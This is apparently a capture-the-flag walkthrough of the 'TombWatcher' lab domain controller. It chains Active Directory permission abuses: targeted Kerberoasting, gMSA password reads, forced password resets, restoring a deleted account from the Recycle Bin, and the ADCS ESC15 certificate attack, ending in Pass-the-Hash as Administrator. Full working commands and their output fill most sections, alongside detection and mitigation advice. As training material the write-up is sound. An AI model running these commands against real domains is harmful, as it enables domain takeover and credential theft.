Overview

Windows Server Domain Controller. Domain: tombwatcher.htb. DC: DC01.tombwatcher.htb (10.10.10.x). A chain of AD ACL/ACE abuses ending in ADCS ESC15 (CVE-2024-49019).

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
henry (starting credentials)
  | WriteSPN
  v
alfred            -- targeted Kerberoast -> hashcat -> password "basketball"
  | AddSelf
  v
INFRASTRUCTURE    -- group with ReadGMSAPassword
  | ReadGMSAPassword
  v
ansible_dev$      -- gMSA, read msDS-ManagedPassword -> NTLM hash
  | ForceChangePassword
  v
sam               -- password reset
  | WriteOwner -> set owner -> add GenericAll -> reset password
  v
john              -- member of Remote Management Users -> WinRM -> user flag
  | GenericAll over OU=ADCS
  v
=== ADCS / ESC15 ===
  1. Certipy find -> the WebServer template has an orphaned SID in Enrollment Rights
  2. AD Recycle Bin -> 3x cert_admin; SID ...-1111 = GUID 938182c3...
  3. Restore-ADObject -> cert_admin returns to OU=ADCS and regains the template right
  4. dacledit (inheritance) -> john gets FullControl over cert_admin -> password reset
  5. ESC15: request with an injected "Enrollment Agent" Application Policy
  6. request on-behalf-of Administrator -> administrator.pfx
  7. certipy auth -> Administrator NT hash -> PtH -> root flag

Each step is one ACE/permission in AD that lets you take over the next object. The final stage combines AD Recycle Bin with an ADCS misconfiguration.

Reconnaissance

1
2
ports=$(nmap -p- --min-rate=1000 -T4 tombwatcher.htb | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)
nmap -p$ports -sC -sV tombwatcher.htb

Ports typical for a domain controller: 53 (DNS), 88 (Kerberos), 135/139/445 (RPC/SMB), 389/636/3268/3269 (LDAP/LDAPS/GC), 464 (kpasswd), 593 (RPC over HTTP), 5985 (WinRM), 80 (default IIS). The LDAPS certificate confirms DC01.tombwatcher.htb and the domain tombwatcher.htb. IIS on 80 is the default page; the vector is AD.

BloodHound, with assumed-breach credentials henry : H3nry_987TGV!:

1
2
bloodhound-python -d tombwatcher.htb -dc dc01.tombwatcher.htb \
  -u henry -p 'H3nry_987TGV!' -c All -ns 10.10.10.x --dns-tcp --zip

The ritual of this box: take over an account, load it into BloodHound, check what it can do next (outbound object control).

Initial Access

henry to alfred (WriteSPN, targeted Kerberoast)

Edge: henry --WriteSPN--> alfred.

Kerberoast works only on accounts with an SPN. For any account with an SPN you can request a TGS ticket, part of which is encrypted with a key derived from the account’s password; crack it offline. WriteSPN lets you add an SPN to alfred (which had none): a targeted Kerberoast, where you create the precondition and then clean it up.

1
2
3
python3 targetedKerberoast.py -d tombwatcher.htb \
  -u henry -p 'H3nry_987TGV!' --request-user alfred --dc-ip 10.10.10.x
# -> $krb5tgs$23$*Alfred$TOMBWATCHER.HTB$...
1
2
3
hashcat -m 13100 alfred.hash /usr/share/wordlists/rockyou.txt
# 13100 = Kerberos 5, etype 23 (RC4), TGS-REP
# -> basketball

Result: alfred : basketball.

alfred to ansible_dev$ (AddSelf, ReadGMSAPassword)

Edges: alfred --AddSelf--> INFRASTRUCTURE, INFRASTRUCTURE --ReadGMSAPassword--> ansible_dev$.

A Group Managed Service Account (gMSA) has its password managed automatically by AD. The password lives in msDS-ManagedPassword, readable only by principals granted the right. Whoever can read it gets the password blob, from which you derive the NTLM hash.

1
2
3
4
5
6
7
8
# 1) add alfred to the authorized group
bloodyAD --host dc01.tombwatcher.htb -d tombwatcher.htb -u alfred -p 'basketball' \
  add groupMember 'INFRASTRUCTURE' 'alfred'

# 2) read the gMSA password
bloodyAD --host dc01.tombwatcher.htb -d tombwatcher.htb -u alfred -p 'basketball' \
  get object 'ANSIBLE_DEV$' --attr msDS-ManagedPassword
# msDS-ManagedPassword.NTLM: aad3b435...:838b2bd83fbe39901be3713e8c79ce37

Result: NTLM hash for ansible_dev$ = 838b2bd83fbe39901be3713e8c79ce37 (used for Pass-the-Hash).

ansible_dev$ to sam (ForceChangePassword)

Edge: ansible_dev$ --ForceChangePassword--> sam. ForceChangePassword resets a password without knowing the old one.

1
2
3
4
bloodyAD --host dc01.tombwatcher.htb -d tombwatcher.htb \
  -u 'ANSIBLE_DEV$' -p :838b2bd83fbe39901be3713e8c79ce37 \
  set password sam 'rogue'
# hash after -p with a leading colon = PtH (empty LM)

Result: sam : rogue.

sam to john (WriteOwner, GenericAll)

Edge: sam --WriteOwner--> john.

WriteOwner lets you change the owner of john to sam. The owner can modify the DACL, so grant yourself GenericAll (full control), then GenericAll allows a password reset.

1
2
3
bloodyAD ... -u sam -p rogue set owner john sam        # sam = owner of john
bloodyAD ... -u sam -p rogue add genericAll john sam   # sam = GenericAll on john
bloodyAD ... -u sam -p rogue set password john rogue   # reset john's password

john is in Remote Management Users, so WinRM:

1
2
evil-winrm -i dc01.tombwatcher.htb -u john -p rogue
# whoami -> tombwatcher\john

User flag: C:\Users\john\Desktop\user.txt.

Privilege Escalation

john GenericAll over OU=ADCS

BloodHound shows john has GenericAll over the OU ADCS. The OU is empty, so it does nothing alone, but it is a signal to look at ADCS.

Certipy find, anomaly in the WebServer template

1
certipy-ad find -target dc01.tombwatcher.htb -u john -p rogue

The WebServer template’s Enrollment Rights contains an entry the system cannot resolve to a name, a raw SID:

1
2
3
Enrollment Rights : TOMBWATCHER.HTB\Domain Admins
                    TOMBWATCHER.HTB\Enterprise Admins
                    S-1-5-21-1392491010-1358638721-2126982587-1111   <-- orphaned SID

Certipy also logs: Failed to lookup user with SID ...-1111.

SID-based ACEs stay active even if the account was deleted. If you restore an object with that SID, the permission works again. An unresolvable SID usually means a deleted/orphaned account, so check the AD Recycle Bin.

AD Recycle Bin, finding the right cert_admin

1
2
Get-ADObject -Filter 'isDeleted -eq $true' -IncludeDeletedObjects `
  -Properties cn,objectSid,isDeleted

There are three deleted cert_admin accounts with different SIDs (...-1109, ...-1110, ...-1111). The one that matches the template:

1
2
objectSid : S-1-5-21-1392491010-1358638721-2126982587-1111
ObjectGUID: 938182c3-bf0b-410a-9aaa-45c8e1a02ebf
1
2
Get-ADObject -Filter 'objectSid -eq "S-1-5-21-...-1111"' -IncludeDeletedObjects -Properties *
# LastKnownParent : OU=ADCS,DC=tombwatcher,DC=htb

LastKnownParent = OU=ADCS, the OU that john controls.

Step 1, Restore-ADObject

1
Restore-ADObject -Identity "938182c3-bf0b-410a-9aaa-45c8e1a02ebf"

On restore from the Recycle Bin:

  1. AD reads the object metadata, including LastKnownParent.
  2. Recreates the object in its original container (OU=ADCS).
  3. The object returns with the same SID (...-1111) and attributes.

Because SID ...-1111 exists and resolves again, the Enrollment Rights entry on the WebServer template automatically points at cert_admin again. This is not set manually; it follows from the SID returning.

john can restore the object because the restore writes it to OU=ADCS, and john has GenericAll over that OU, so it may create/write objects there.

Step 2, dacledit, giving john control OVER cert_admin

1
2
3
impacket-dacledit -action 'write' -rights 'FullControl' -inheritance \
  -principal 'john' -target-dn 'OU=ADCS,DC=TOMBWATCHER,DC=HTB' \
  TOMBWATCHER.HTB/john:'rogue'

This does NOT restore permissions to cert_admin. It gives permissions to JOHN over cert_admin.

  • -action write: add a new ACE.
  • -rights FullControl: full control.
  • -inheritance: the ACE is inheritable, so it flows to child objects of the OU.
  • -principal john: john is the beneficiary.
  • -target-dn OU=ADCS...: the target is the OU (not cert_admin itself).

Logic:

  1. john has GenericAll over OU=ADCS, so it can modify that OU’s DACL.
  2. Write an inheritable FullControl ACE for john on the OU.
  3. cert_admin after restore is a child of that OU.
  4. Inheritance propagates the ACE down, so john gets FullControl over cert_admin.

Then john (now with FullControl over cert_admin) resets its password:

1
2
3
bloodyAD --host dc01.tombwatcher.htb -d tombwatcher.htb -u john -p rogue \
  set password cert_admin 'rogue'
# -> cert_admin : rogue

Two steps, not to be confused:

  • Restore: cert_admin regains its own enrollment right on the template (because SID -1111 returns). Automatic.
  • dacledit: john gains control OVER cert_admin (via inheritance from the OU), to take it over. A separate thing.

From the output: objects with adminCount=1 will not inherit ACEs from parent OU. If cert_admin were a protected account (adminCount=1), inheritance would not work. Here it does.

Step 3, verify the vulnerability

1
certipy-ad find -dc-host dc01.tombwatcher.htb -u [email protected] -p rogue -vulnerable -stdout
1
2
3
4
5
6
Template : WebServer
Enrollee Supplies Subject : True
Schema Version : 1
Enrollment Rights : ... TOMBWATCHER.HTB\cert_admin   <-- now resolves
[!] Vulnerabilities
    ESC15 : Enrollee supplies subject and schema version is 1.

ESC15 / CVE-2024-49019 (“EKUwu”)

Vulnerable condition: a Schema Version 1 template plus EnrolleeSuppliesSubject.

  • V1 templates predate the EKU / Application Policy split and do not enforce their own Application Policies.
  • An unpatched CA honours Application Policies injected by the requester in the CSR.
  • So even though the template declares only Server Authentication, the attacker adds any Application Policy (for example Certificate Request Agent / Enrollment Agent) and the CA issues it.

Step A, obtain an Enrollment Agent certificate:

1
2
3
4
5
certipy req -ca tombwatcher-CA-1 -username cert_admin -p 'rogue' \
  -dc-ip 10.10.10.x -template WebServer \
  --application-policies '1.3.6.1.4.1.311.20.2.1' \
  -target-ip 10.10.10.x
# -> cert_admin.pfx
  • -username cert_admin -p rogue: authenticate as cert_admin (has the WebServer enrollment right; john would not).
  • -template WebServer: the vulnerable V1 template.
  • --application-policies '1.3.6.1.4.1.311.20.2.1': the injected OID = Certificate Request Agent / Enrollment Agent. This is the essence of ESC15.
  • cert_admin.pfx is now an Enrollment Agent cert, allowing requests on behalf of others.

Step B, request a certificate on behalf of Administrator:

1
2
3
4
5
certipy req -u cert_admin -p 'rogue' -dc-ip 10.10.10.x -target-ip 10.10.10.x \
  -ca tombwatcher-CA-1 -template User \
  -on-behalf-of 'tombwatcher\administrator' \
  -pfx cert_admin.pfx
# -> administrator.pfx  (UPN [email protected], SID ...-500)
  • -pfx cert_admin.pfx: use the agent cert.
  • -on-behalf-of tombwatcher\administrator: the enrollment agent enrolls on behalf of another user.
  • -template User: a template that allows Client Authentication (needed to log in with the cert).

Step C, authenticate with the cert and extract the hash (PKINIT + UnPAC-the-hash):

1
2
3
4
certipy auth -dc-ip 10.10.10.x -pfx administrator.pfx
# [*] Got TGT
# [*] Got hash for '[email protected]':
#     aad3b435...:f61db423bebe3328d33af26741afe5fc

Step D, Pass-the-Hash to a shell:

1
2
evil-winrm -i dc01.tombwatcher.htb -u administrator -H f61db423bebe3328d33af26741afe5fc
# whoami -> tombwatcher\administrator

Root flag: C:\Users\Administrator\Desktop\root.txt.

Why was cert_admin needed at all? john does not have the WebServer enrollment right, only Domain/Enterprise Admins and SID -1111 (cert_admin) do. The whole Recycle Bin chain exists to recover and take over an account that can issue that certificate.

Detection and Mitigation

  • Kerberoast / targeted Kerberoast: monitor Event 4769 (TGS, especially RC4/etype 23), alert on sudden servicePrincipalName changes (Event 5136). Strong service-account passwords, gMSA.
  • gMSA: limit PrincipalsAllowedToRetrieveManagedPassword to the minimum; audit msDS-ManagedPassword reads.
  • ACL abuse (WriteOwner/GenericAll/ForceChangePassword): regular BloodHound audits; Event 5136 (DACL/owner changes), 4724 (password reset).
  • AD Recycle Bin: alert on Restore-ADObject; regularly review Deleted Objects; remove orphaned SID ACEs from templates and objects.
  • ADCS ESC15: patch CVE-2024-49019; retire or raise Schema Version 1 templates; disable EnrolleeSuppliesSubject where unneeded; restrict enrollment rights; require Manager Approval on sensitive templates.
  • Least privilege on OUs; avoid broadly delegated GenericAll.

Lessons Learned

ConceptPoint
WriteSPNAdd an SPN -> targeted Kerberoast -> offline crack
gMSA / msDS-ManagedPasswordAD-managed password; readable by authorized principals -> NTLM
ForceChangePasswordReset a password without knowing the old one
WriteOwnerChange the owner -> grant yourself GenericAll -> reset
Orphaned SID in an ACEPermissions by SID survive account deletion; restore revives them
LastKnownParentWhich OU a Recycle Bin object returns to (here, a controlled OU)
Inheritable ACE on an OUControl over an OU -> FullControl over its children (including a restored account)
ESC15 / CVE-2024-49019V1 + EnrolleeSuppliesSubject -> inject an Application Policy (Enrollment Agent) -> cert on-behalf-of
Enrollment Agent + on-behalf-ofThe agent issues a cert on behalf of any user (for example Administrator)
certipy auth (PKINIT)Log in with a cert -> TGT -> UnPAC-the-hash -> NT hash

Command Reference

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
# enum
bloodhound-python -d tombwatcher.htb -dc dc01.tombwatcher.htb -u henry -p 'H3nry_987TGV!' -c All -ns 10.10.10.x --dns-tcp --zip

# henry -> alfred
python3 targetedKerberoast.py -d tombwatcher.htb -u henry -p 'H3nry_987TGV!' --request-user alfred --dc-ip 10.10.10.x
hashcat -m 13100 alfred.hash /usr/share/wordlists/rockyou.txt

# alfred -> ansible_dev$
bloodyAD --host dc01.tombwatcher.htb -d tombwatcher.htb -u alfred -p basketball add groupMember INFRASTRUCTURE alfred
bloodyAD --host dc01.tombwatcher.htb -d tombwatcher.htb -u alfred -p basketball get object 'ANSIBLE_DEV$' --attr msDS-ManagedPassword

# ansible_dev$ -> sam
bloodyAD --host dc01.tombwatcher.htb -d tombwatcher.htb -u 'ANSIBLE_DEV$' -p :838b2bd83fbe39901be3713e8c79ce37 set password sam rogue

# sam -> john
bloodyAD --host dc01.tombwatcher.htb -d tombwatcher.htb -u sam -p rogue set owner john sam
bloodyAD --host dc01.tombwatcher.htb -d tombwatcher.htb -u sam -p rogue add genericAll john sam
bloodyAD --host dc01.tombwatcher.htb -d tombwatcher.htb -u sam -p rogue set password john rogue
evil-winrm -i dc01.tombwatcher.htb -u john -p rogue

# ADCS / ESC15
certipy-ad find -target dc01.tombwatcher.htb -u john -p rogue
# (WinRM) Get-ADObject -Filter 'isDeleted -eq $true' -IncludeDeletedObjects -Properties cn,objectSid,isDeleted
# (WinRM) Restore-ADObject -Identity "938182c3-bf0b-410a-9aaa-45c8e1a02ebf"
impacket-dacledit -action write -rights FullControl -inheritance -principal john -target-dn 'OU=ADCS,DC=TOMBWATCHER,DC=HTB' TOMBWATCHER.HTB/john:'rogue'
bloodyAD --host dc01.tombwatcher.htb -d tombwatcher.htb -u john -p rogue set password cert_admin rogue
certipy-ad find -dc-host dc01.tombwatcher.htb -u [email protected] -p rogue -vulnerable -stdout
certipy req -ca tombwatcher-CA-1 -username cert_admin -p rogue -dc-ip 10.10.10.x -template WebServer --application-policies '1.3.6.1.4.1.311.20.2.1' -target-ip 10.10.10.x
certipy req -u cert_admin -p rogue -dc-ip 10.10.10.x -target-ip 10.10.10.x -ca tombwatcher-CA-1 -template User -on-behalf-of 'tombwatcher\administrator' -pfx cert_admin.pfx
certipy auth -dc-ip 10.10.10.x -pfx administrator.pfx
evil-winrm -i dc01.tombwatcher.htb -u administrator -H f61db423bebe3328d33af26741afe5fc

OPSEC: dacledit writes a DACL backup (.bak); restore the original DACL after practice on a real environment. Certificates issued by the CA remain in the CA database (available for detection/revocation).